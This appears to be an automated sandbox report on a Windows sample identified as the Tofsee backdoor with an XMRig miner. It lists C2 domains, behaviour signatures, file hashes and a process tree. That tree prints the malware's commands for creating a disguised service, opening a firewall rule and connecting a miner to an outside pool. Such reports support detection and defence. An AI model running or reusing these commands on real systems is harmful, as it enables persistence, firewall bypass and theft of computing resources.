Analysis

  • max time kernel
    145s
  • max time network
    148s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220901-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220901-enlocale:en-usos:windows10-2004-x64system
  • submitted
    20/01/2023, 12:18

General

  • Target
    file.exe
  • Size 331KB
  • Sample230120-pglzzsff6s
  • SHA256 287aee3fe875417ecbb6f573247600bcdfab0156c68c3e87a2d49d14a6955bab
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • tofsee

C2
  • svartalfheim.top

  • jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1316
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\rdpwljfg\
      2⤵
        PID:212
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\vxalgapq.exe" C:\Windows\SysWOW64\rdpwljfg\
        2⤵
          PID:4336
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create rdpwljfg binPath= "C:\Windows\SysWOW64\rdpwljfg\vxalgapq.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:4104
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description rdpwljfg "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:3416
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start rdpwljfg
          2⤵
          • Launches sc.exe
          PID:3676
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:312
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 1316 -s 1384
          2⤵
          • Program crash
          PID:3304
      • C:\Windows\SysWOW64\rdpwljfg\vxalgapq.exe
        C:\Windows\SysWOW64\rdpwljfg\vxalgapq.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:5032
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:4180
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1148
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 5032 -s 544
          2⤵
          • Program crash
          PID:3996
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 452 -p 1316 -ip 1316
        1⤵
          PID:1292
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 528 -p 5032 -ip 5032
          1⤵
            PID:1844

          Network

                MITRE ATT&CK Enterprise v6

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                vxalgapq.exe

                • Path C:\Users\Admin\AppData\Local\Temp\vxalgapq.exe
                • Size 14.4MB
                • SHA256 b50f868c4496ad755daddd148ceac44ff3d4bba60f3711e067e83834db8de339
                • MD5 SHA1 SHA512 SSDEEP

                vxalgapq.exe

                • Path C:\Windows\SysWOW64\rdpwljfg\vxalgapq.exe
                • Size 14.4MB
                • SHA256 b50f868c4496ad755daddd148ceac44ff3d4bba60f3711e067e83834db8de339
                • MD5 SHA1 SHA512 SSDEEP

                memory/1148-174-0x0000000000C70000-0x0000000000D61000-memory.dmp

                memory/1148-179-0x0000000000C70000-0x0000000000D61000-memory.dmp

                memory/1316-145-0x00000000021A0000-0x00000000021B3000-memory.dmp

                memory/1316-132-0x0000000000621000-0x0000000000637000-memory.dmp

                memory/1316-135-0x0000000000400000-0x0000000000457000-memory.dmp

                memory/1316-146-0x0000000000400000-0x0000000000457000-memory.dmp

                memory/1316-133-0x00000000021A0000-0x00000000021B3000-memory.dmp

                memory/1316-144-0x0000000000621000-0x0000000000637000-memory.dmp

                memory/4180-170-0x0000000002FD0000-0x0000000002FD7000-memory.dmp

                memory/4180-161-0x0000000002120000-0x0000000002130000-memory.dmp

                memory/4180-153-0x0000000000B90000-0x0000000000BA5000-memory.dmp

                memory/4180-154-0x0000000000B90000-0x0000000000BA5000-memory.dmp

                memory/4180-155-0x0000000002A00000-0x0000000002C0F000-memory.dmp

                memory/4180-158-0x0000000000DF0000-0x0000000000DF6000-memory.dmp

                memory/4180-148-0x0000000000B90000-0x0000000000BA5000-memory.dmp

                memory/4180-164-0x00000000021F0000-0x00000000021F5000-memory.dmp

                memory/4180-167-0x0000000007940000-0x0000000007D4B000-memory.dmp

                memory/5032-142-0x000000000080C000-0x0000000000822000-memory.dmp

                memory/5032-151-0x000000000080C000-0x0000000000822000-memory.dmp

                memory/5032-152-0x0000000000400000-0x0000000000457000-memory.dmp